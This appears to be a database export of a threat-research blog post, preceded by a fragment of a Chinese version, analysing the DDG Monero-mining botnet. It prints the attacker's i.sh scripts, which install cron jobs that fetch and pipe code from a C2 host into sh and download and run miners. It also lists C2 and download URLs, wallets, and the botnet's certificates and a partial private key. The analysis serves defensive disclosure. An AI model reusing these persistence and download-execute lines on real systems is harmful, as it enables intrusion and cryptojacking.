"],[0,[1],1,"/var/spool/cron/crontabs"],[0,[],0," 处写入定时任务脚本，从云端下载最新的 "],[0,[1],1,"i.sh"],[0,[],0," 脚本定时执行（ "],[0,[0],1,"%s"],[0,[],0," 处为最新的 "],[0,[1],1,"i.sh"],[0,[],0," 下载链接），实现持久驻留："]]],[10,14],[1,"p",[[0,[],0,"然后，ddgs.i686 会尝试在当前肉鸡的 "],[0,[1],1,"~/.ssh/authorized_keys"],[0,[],0," 中注入以下 SSH Pub Key："]]],[10,15],[1,"p",[[0,[],0,"ddgs.i686 样本中内置了一个 "],[0,[0],1,"ip:port"],[0,[],0," 的 List，其中 2 个主要的 "],[0,[1],1,"165.225.157.157:8000"],[0,[],0," 和 "],[0,[1],1,"165.227.149.151:8000"],[0,[],0," ，其他算是备用，全部列表如下："]]],[1,"p",[[0,[0,6],2,"iplist_v3011_1.txt"]]],[1,"p",[[0,[],0,"样本 ddgs.i686 启动之后，会依次连接上述 "],[0,[0],1,"ip:port"],[0,[],0," 检查是否可以访问： "]]],[10,16],[1,"p",[[0,[],0,"对每个成功握手的 "],[0,[0],1,"ip:port"],[0,[],0," ，ddgs.i686 都会尝试向 "],[0,[0,1],2,"hxxp://<C2:8000>/slave"],[0,[],0," 发送 HTTP POST 请求： "]]],[10,17],[1,"p",[[0,[],0,"如果 C2 正常工作，则会返回一串用 "],[0,[0,7],2,"msgPack"],[0,[],0," 序列化编码后的配置文件数据： "]]],[10,18],[1,"p",[[0,[],0,"由于这串数据自定义了复杂的数据结构，没能成功完美解码，经过 "],[0,[0],1,"msgPack"],[0,[],0," 通用反序列化再大概还原后如下："]]],[10,19],[1,"p",[[0,[],0,"结合配置文件和样本分析，可以发现以下几个关键点："]]],[3,"ol",[[[0,[],0,"配置文件中提供了 Miner 程序的 URI、MD5 和保存到当前肉鸡的文件路径。ddgs.i686 会根据 URI，通过 HTTP GET 请求从 "],[0,[1],1,"http://<C2:8000>/Miner_URI"],[0,[],0," 处下载 Miner 程序并另存到指定路径；"]],[[0,[],0,"配置文件中提供了最新的 "],[0,[0],1,"i.sh"],[0,[],0," 文件下载路径，ddgs.i686 会把这个路径填充到定时任务的命令字串中；"]],[[0,[],0,"配置文件中指定了要扫描的 dstport，可以看到针对 Redis 服务，指定 ddgs.i686 扫描 (6379, 6380, 7379) 三个端口，针对 SSH 服务，指定扫描 (22, 2222, 22222) 三个端口。（这里可以解释 ScanMon 上 7 个端口之间的伴生关系。但 Redis 服务相关的 3 个端口与 SSH 服务相关的 3 个端口之间 "],[0,[0],1,"Shared scip"],[0,[],0," 数量比较少，原因可能跟蜜罐部署以及蜜罐的网络配置有关）"]],[[0,[],0,"配置文件中的 "],[0,[0],1,"GenLan"],[0,[],0," / "],[0,[0],1,"GenAAA"],[0,[],0," 对应生成 Scan Target IP 的生成策略。样本中的 Scan Target IP 生成策略仍然同于旧版本的 ddg.miner：生成的内网网段 Target IP 范围如下：10.Y.x.x/16 (Y 为当前内网 IP B 段的值)172.16.x.x/16192.168.x.x/16当前主机的公网 IP 地址 "],[0,[0],1,"WAN_IP"],[0,[],0," ，然后在 "],[0,[1],1,"WAN_IP/8"],[0,[],0," 范围内生成公网网段 Target IP 。但是样本内有个扫描控制策略，从行为上看，针对内网 Target IP ，只扫描 SSH 服务相关的 3 个端口，我的虚拟机上运行结果只会扫 SSH 服务，看起来只有获取到了网卡的外网地址，才会针对外网的 Target IP 扫描 Redis 相关的端口。"]],[[0,[],0,"配置文件中给出了 ddgs 样本的更新配置：最新的版本号、本地另存的文件路径、C2 端下载的 URI 以及样本的 MD5，本地已有的 ddgs.i686 样本会根据这些信息对本地样本进行更新。"]]]],[1,"h3",[[0,[0],1,"挖矿"]]],[1,"p",[[0,[],0,"样本获取配置文件后，会根据配置文件中 Miner 的信息，去下载 "],[0,[0],1,"2t3ik.p"],[0,[],0," 和 "],[0,[0],1,"2t3ik.m"],[0,[],0," 到当前失陷主机的 "],[0,[0],1,"/tmp/"],[0,[],0," 目录。这两个文件是 XMRig 2.5.2 编译的矿机程序，具体区别不明，关键信息都一致："]]],[3,"ul",[[[0,[],0,"钱包地址（新出现）：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik"]],[[0,[],0,"涉及的矿池：47.90.204.154hk02.supportxmr.compool.supportxmr.comxmr-asia1.nanopool.orgxmr-us-west1.nanopool.org其中 "],[0,[1],1,"47.90.204.154:443"],[0,[],0," 是矿池 Proxy，该主机位于 "],[0,[0],1,"阿里云"],[0,[],0," ;在矿池 "],[0,[1],1,"supportxmr.com"],[0,[],0," 中的 TotalPaid 为 "],[0,[0],1,"150.5194868540 XMR"],[0,[],0," ，按当前市价折合人民币 "],[0,[0],1,"181,311.3 ￥"],[0,[],0," ；在矿池 "],[0,[1],1,"nanopool.org"],[0,[],0," 中TotalPaid: "],[0,[0],1,"1268.5880545439 XMR"],[0,[],0," ，按当前市价折合人民币 "],[0,[0],1,"1527,519.6￥"],[0,[],0,"。"]]]],[1,"h3",[[0,[0],1,"3011 是一个测试或过渡版本"]]],[1,"p",[[0,[],0,"最后值得一提的是，ddgs.i686 是 32bit ELF 文件，而它下载到的 "],[0,[0],1,"2t3ik.p"],[0,[],0," 和 "],[0,[0],1,"2t3ik.m"],[0,[],0," 都是 64bit ELF 文件，这样一来，在真实环境中，矿机程序并没有办法运行。而且，版本 "],[0,[0],1,"3011"],[0,[],0," 只有"],[0,[1],1,"hxxp://165.225.157.157:8000/static/3011/ddgs.i686"],[0,[],0," 这一个核心样本，不像版本 "],[0,[0],1,"3010"],[0,[],0," ，同时存在 ddgs."],[0,[0],1,"i686"],[0,[],0," 和 ddgs."],[0,[0],1,"x86_64"],[0,[],0," 两个核心样本。所以，可以认为版本 "],[0,[0],1,"3011"],[0,[],0," 目前处于测试阶段，或者只是一个过渡版本。"]]],[1,"h2",[[0,[0],1,"IoC"]]],[1,"p",[[0,[],0,"Sample"]]],[10,20]],"ghostVersion":"3.0"} | 60961b663819e50007633d59 |
post | null | 2021-05-08T05:05:34.000Z | 63873b9a8b1c1e0007f52fcd | ddg-a-mining-botnet-aiming-at-database-servers | 0 | 2021-05-08T05:06:12.000Z | public | published | null | 2018-02-01T05:05:00.000Z | DDG: A Mining Botnet Aiming at Database Servers | <p>Starting 2017-10-25, we noticed there was a large scale ongoing scan targeting the OrientDB databases. Further analysis found that this is a long-running botnet whose main goal is to mine Monero CryptoCurrency. We name it <strong>DDG.Mining.Botnet</strong> after its core function module name DDG.</p><p>Currently we are able to confirm that the botnet has mined more than <strong>3,395 Monroe coins</strong>, equivalent to <strong>USD 925,383</strong> at current prices. In addition, there is another 2,428 XMRs (equivalent to USD 661,759) we have yet to fully confirm due to the mining pool's payment record issue. This makes DDG by far the second largest Monroe related botnet we have seen, just behind the <a href="__GHOST_URL__/mykings-the-botnet-behind-multiple-active-spreading-botnets/">MyKings Botnet</a> we reported earlier.</p><p>DDG code appears at least late in 2016 and is continuously updated throughout 2017.</p><p>DDG uses a C2 and HUB layout to communicate with its clients. The HUB is a set of IPs and domain names that are used to provide Miner program for the compromised clients to download.</p><p>It is worth noting that we were able to successfully register and sinkhole two domain names used by its v2011 version, thus we were able to have a good understanding of the size of the entire DDG botnet based on Sinkhole data.</p><h4 id="ddg-mining-botnet-total-incoming"><strong>DDG Mining Botnet Total Incoming</strong></h4><p>DDG uses the following mine pool:</p><ul><li><a href="https://monero.crypto-pool.fr/">https://monero.crypto-pool.fr/</a></li></ul><p>Three wallet addresses have been used, as follows:</p><ul><li><strong>Wallet #1</strong> 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg</li><li><strong>Wallet #2</strong> 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1</li><li><strong>Wallet #3</strong> 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM</li></ul><p>Among them, Wallet#3 was the first wallet address been used, most active between the time period 2017-02~2017-03; then followed by Wallet#1, been used most of the 2017; Wallet#2 is a recent active one first seen on 2018-01-03.</p><p>The pool allows us to check the payment record of the wallets. The income of all three wallets is shown in the following table. The total income is Monroe 3,395 or 5,760. These tokens are worth USD 925,383 or 1,569,963 today. Note: There is an issue for the second wallet, where "Total Paid" is not consistent with the summary of all tractions' amount. We cannot confirm which number is more accurate, so we show both numbers here.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/ddg_total_incoming.png" class="kg-image" alt loading="lazy"></figure><h4 id="ddg-mining-botnet-workflow"><strong>DDG Mining Botnet Workflow</strong></h4><p>By analyzing the sample and its behavior, we can characterize the DDG Mining Botnet attack as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/atk_process.png" class="kg-image" alt loading="lazy"></figure><p>In the picture above, DDG Mining Botnet attack process can be divided into several stages:</p><ul><li><strong>Initial Scanning</strong>: The attacker (ss2480.2) exploits the known RCE vulnerability of the OrientDB database and drops the attack payload</li><li><strong>Stage 1</strong>: Attackers modify local Crontab scheduled tasks, download and execute i.sh (hxxp: //218.248.40.228:8443/i.sh) on the primary server and keep it synchronized every 5 minutes</li><li><strong>Stage 2</strong>: DDG traverses the built-in file <strong>hub_iplist.txt</strong>, check the connectivity of every single entry and try to download the corresponding Miner program wnTKYg from the one can be successfully connected (wnTKYg.noaes if the native CPU does not support AES-NI)</li><li><strong>Mining Stage</strong>: The Miner program begins to use the computing resources of the compromised host to begin mining for the attacker's wallet.</li></ul><p>The <strong>HUB</strong> used in the second phase is a very interesting design. The attacker goes over all IPs and domain names written in the HUB file to download the mining program, so as to avoid the possible blocking caused by using a single download server. We observe that DDG operators update the IP and domain names of these HUB from time to time, and most of these ips and domains are hacked boxes. See the entire HUB list at the end.</p><p>In v2011, somehow two domain names out of three on the list were left unregistered, so we went ahead and registered them, as follows.</p><ul><li>defaultnotepad567[.]com</li><li>unains1748[.]com unregistered</li><li>5dba35bsmrd[.]com unregistered</li></ul><p>Below we will introduce the DDG botnet C2s, HUB, and Bot respectively.</p><h4 id="the-c2s"><strong>The C2s</strong></h4><p>The DDG botnet uses the following C2 to maintain control of the device:</p><ul><li>202.181.169.98:8443/i.sh</li><li>218.248.40.228:8443/i.sh</li></ul><p>The first C2 was only used by this botnet briefly. And the second C2 has been pretty much the only active C2 for the last two years.</p><h4 id="the-hub-and-our-sinkhole"><strong>The HUB and Our Sinkhole</strong></h4><p>DDG botnet uses <strong>HUB_IP: 8443\wnTKYg</strong> to provide miner program. The detailed list of the two versions of HUB we monitored is given in the IoC section at the end of this article. The country distribution is shown in the following table. Most of the victims can be seen in China.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/02/hub_asn.png" class="kg-image" alt loading="lazy"></figure><p>As we mentioned before, DDG bot will go over and check connectivity of every single one of the IPs and domain names on the hub list, which means we were able to get a very accurate infected clients list by sinkhole the above two domains.</p><p>The DDG operators noticed this after about 20 days and subsequently released an updated version of DDG code that replaced all IPs and domain names, including our Sinkholed domains. But the time is long enough for us to have some good measurement of this botnet.</p><h4 id="use-sinkhole-data-to-measure-ddg-mining-botnets"><strong>Use Sinkhole Data to Measure DDG Mining Botnets</strong></h4><p><strong>From the sinkhole data, we recorded a total of 4,391 IP addresses of victims from all countries, with the most prominent victims being China (73%) and the United States (11%)</strong>:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/sinkhole_ip_asn.png" class="kg-image" alt loading="lazy"></figure><p>And the following diagram shows the overall trend of the victim's DNS requests for the above two domains.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/bot_dns_query_trend.png" class="kg-image" alt loading="lazy"></figure><p>To avoid abuse, the list of all victims IP is not made public.</p><h4 id="a-dnsmon-perspective"><strong>A DNSMon Perspective</strong></h4><p>Our DNSMon is also aware of these three domain names, the traffic access patterns of these 3 domains match very well as can be seen from the first diagram:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/3_related_domain.png" class="kg-image" alt loading="lazy"></figure><p>And the second diagram show that these 3 domains have very strong correlations.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/2_related_domain.png" class="kg-image" alt loading="lazy"></figure><h3 id="ddg-mining-botnet-attack-process-breakdown"><strong>DDG Mining Botnet Attack Process Breakdown</strong></h3><h6 id="initial-scanning">Initial Scanning</h6><p>The scanning and intrusion phase of DDG Mining Botnet is done by sample ss2480.2. The ss2408.2 scans port 2480 and then uses the OrientDB RCE Vulnerability <a href="https://blogs.securiteam.com/index.php/archives/3318">CVE-2017-11467</a> to implement the intrusion.</p><p>ss2480.2 will first scan the internal network, and then scan the public network segment. The internal target IP ranges are:</p><ul><li><strong>10.Y.x.x/16</strong> (Y is the value of the current intranet IP B segment)</li><li><strong>172.16.x.x/16</strong></li><li><strong>192.168.x.x/16</strong></li></ul><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/scantarget_lan.png" class="kg-image" alt loading="lazy"></figure><p>After the internal networks scan, ss2480.2 visits hxxp://v4.ident.me to get a public IP address of the current host WAN_IP , then using <strong>WAN_IP/8</strong> to generate public Target IP ranges. All the reserved address segments will be filtered:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/scantarget_wan.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/orientdb_exp1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/orientdb_rce_exp.png" class="kg-image" alt loading="lazy"></figure><h6 id="stage-1">Stage 1</h6><p>Here is the main configuration URL of DDG, the IP 218.248.40.228 is located in India, AS9829:</p><ul><li><strong>hxxp://218.248.40.228:8443/i.sh</strong></li></ul><p>This <strong>i.sh</strong> has changed many times, but the content is more or less the same, below is an early version, with following main functions:</p><ul><li>Synchronize local Crontab with i.sh from the C2 server</li><li>Download and execute DDG sample from the C2 server</li><li>Check and clear the old version of the local DDG process</li></ul><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2011" ]; then
curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
fi
chmod +x /tmp/ddg.2011 && /tmp/ddg.2011
#if [ ! -f "/tmp/ss2480.2" ]; then
#curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2
ps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011
</code></pre><p>The <strong>i.sh</strong> script gives attacker very flexible control to deliver any malicious software to the compromised host. And we did see this file change from time to time to serve new Trojan files or to deliver malware that incorporates new attacks. For example:</p><ul><li><strong>DDG Samples</strong>: the ddg.$(uname -m) series. This the long-run payload, we have seen three version, V2011, V2020 and V2021</li><li><strong>ss22522 Samples</strong>: Only work for a short period, against the Struts2 vulnerability S2-052</li><li><strong>ss2480 Samples</strong>: Also for a short period too, against OrientDB RCE. This is the very sample exposed DDG to us</li></ul><p>By the way there is an issue in early version of <strong>i.sh</strong>, where a "xargs" is missing just ahead of 'kill' command, so the older process will not get killed as intended. This issue is fixed in later version.</p><p>On 2018.1.3, the attacker pushed out the newest version of i.sh (v2021.2), adding another mining process imWBR1 , which uses the second XMR wallet listed earlier:</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2021" ]; then
curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi
if [ ! -f "/tmp/ddg.2021" ]; then
wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi
chmod +x /tmp/ddg.2021 && /tmp/ddg.2021
if [ ! -f "/tmp/imWBR1" ]; then
curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
</code></pre><h6 id="stage-2">Stage 2</h6><p>At this phase, DDG tries to test all the hosts in the hub_iplist.txt, and if success DDG will visit <strong>hxxp://hub_ip:8443/wnTKYg</strong> to download and execute the corresponding program wnTKYg Miner (if the native CPU does not support AES-the NI , it will download wnTKYg.noaes).</p><p>All the ddg.xxx and ss2480.xxx were written in Golang. DDG communicate to the HUB with a third party Golang Stream Multiplexing library Smuxcompleted. The default Smux configuration is been used.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/smux_defaultconf.png" class="kg-image" alt loading="lazy"></figure><p>So after DDG downloads Miner from the HUB and starts to KeepAlive, it sends 2 packets to the connected HUB IP every 10s:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/hub_keepalive.png" class="kg-image" alt loading="lazy"></figure><h3 id="the-built-in-hub_iplist-txt"><strong>The Built-in Hub_iplist.txt</strong></h3><p>The original <strong>DDG sample download URL</strong> is hxxp://218.248.40.228:8443/2011/ddg.$(uname -m), as written in i.sh. There are 158 hub_ip:8443 and 3 hub_domain:8443 listed in the hub_iplist, two of which are unregistered and then registered by us.</p><p>On 2017-11-10 We found that there is a change in the contents of i.sh file, ddg sample download link has changed to hxxp://218.248.40.228:8443/2020/ddg.$(uname -m). The attacker replaced all HUP IPs and domain names including ours. The latest contents of hub_iplist.txt can be seen at the bottom of this blog ip_hublist (v2020 ~ v2021) .</p><h3 id="ddg-mining-botnet-also-targeted-redis-database-and-ssh-service"><strong>DDG Mining Botnet Also Targeted Redis Database and SSH Service</strong></h3><p>The above analysis focuses on the OrientDB exploit (ss2480 series).</p><p>In fact, the DDG samples also target SSH and Redis services as well, which are another two major methods used by DDG to compromise vulnerable hosts. Some of the related functions and the password dictionary are shown in the following two figures:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/redis_ssh_funcs.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/auth_dict.png" class="kg-image" alt loading="lazy"></figure><p>The victim is also implanted with the X509 key files. Three key files built into the sample are as follows, details at the end of the article:</p><ol><li>slave.pem</li><li>ca.pem</li><li>slave.key</li></ol><p>Looking at historical data, we can also see the i.sh host <strong>218.248.40.228</strong> scanning the Redis database early on. A google search turned up some posts complaining their server was infested with ddg botnet. The following diagram shows the ports that were scanned by 218.248.40.228 between 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00. Port<br>6379, 7379 and 2480 represents Redis, Redis (Replicas) and OrientDB:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/5_historical_scanning_port_by_i_sh_host.png" class="kg-image" alt loading="lazy"></figure><h3 id="one-more-thing"><strong>One more thing</strong></h3><p>Starting from 2018.1.25 at 21 o'clock (GMT+8), we saw another update of this botnet, with link hxxp://218.248.40.228:8443/2011/ddg.x86_64, and this time it deliveries a Mirai family sample.</p><ul><li><strong>Family</strong> : mirai</li><li><strong>C2</strong> : linuxuclib.com:8080</li><li><strong>C2</strong> : jbeupq84v7.2y.net, no IP address associated yet</li><li><strong>MD5</strong> : cbc4ba55c5ac0a12150f70585af396dc</li></ul><h3 id="ioc"><strong>IoC</strong></h3><p>C2:</p><pre><code>202.181.169.98:8443
218.248.40.228:8443
linuxuclib.com:8080
jbeupq84v7.2y.net
</code></pre><p>Samples' MD5:</p><pre><code>b1201bf62f3ca42c87515778f70fd789 ddg.i686 --> v2011
7705b32ac794839852844bb99d494797 ddg.x86_64 --> v2011
1970269321e3d30d6b130af390f2ea5c ddg.i686 --> v2020
5751440a2b3ce1481cf1464c8ac37cbe ddg.x86_64 --> v2020
f52f771c5b40a60ce344d39298866203 ddg.i686 --> v2021
3ea75a85bab6493db39b1f65940cc438 ddg.x86_64 --> v2021
b0c6cefa1a339437c75c6b09cefeb2e8 ss2480.1
8c31b6379c1c37cf747fa19b63dd84a1 ss2480.2
4fc28b8727da0bcd083a7ac3f70933fa ss22522.2
d3b1700a413924743caab1460129396b wnTKYg
8eaf1f18c006e6ecacfb1adb0ef7faee wnTKYg.noaes
9ebf7fc39efe7c553989d54965ebb468 imWBR1
</code></pre><p>Sample Downloading URL</p><pre><code>hxxp://218.248.40.228:8443/2011/ddg.i686
hxxp://218.248.40.228:8443/2011/ddg.x86_64
hxxp://218.248.40.228:8443/2020/ddg.i686
hxxp://218.248.40.228:8443/2020/ddg.x86_64
hxxp://218.248.40.228:8443/2021/ddg.i686
hxxp://218.248.40.228:8443/2021/ddg.x86_64
hxxp://218.248.40.228:8443/i.sh
hxxp://218.248.40.228:8443/ss22522.2
hxxp://218.248.40.228:8443/ss2480.1
hxxp://218.248.40.228:8443/ss2480.2
hxxp://218.248.40.228:8443/wnTKYg
hxxp://202.181.169.98:8443/2011/ddg.i686
hxxp://202.181.169.98:8443/2011/ddg.x86_64
hxxp://202.181.169.98:8443/i.sh
hxxp://202.181.169.98:8443/ss22522.2
hxxp://202.181.169.98:8443/ss2480.1
hxxp://202.181.169.98:8443/ss2480.2
hxxp://202.181.169.98:8443/wnTKYg
hxxp://218.248.40.228:8443/imWBR1
</code></pre><p>ip_hublist(v2011): <a href="__GHOST_URL__/file/ip_hublist__2011.txt">ip_hublist__2011.txt</a></p><p>ip_hublist(v2020~v2021): <a href="__GHOST_URL__/file/ip_hublist__2020.txt">ip_hublist__2020.txt</a></p><p>Three Key files</p><p>slave.pem</p><pre><code>-----BEGIN CERTIFICATE-----
MIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3
ZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV
BAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w
9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD
CAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE
Qll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy
EZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE
G5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR
SKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC
niH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz
N9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX
/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh
Mon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp
Jmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS
uDpcOCRjJg==
-----END CERTIFICATE-----
</code></pre><p>ca.pem</p><pre><code>-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER
MA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK
Tnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX
5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI
oRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD
x++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx
gK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe
oZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH
Oh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg
pfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6
Cax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs
doWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF
tEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP
-----END CERTIFICATE-----
</code></pre><p>slave.key</p><pre><code>-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc
AWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z
mbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm
VeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj
CdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF
oOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv
QkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY
R8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV
7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN
Z+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH
p9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh
OZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK
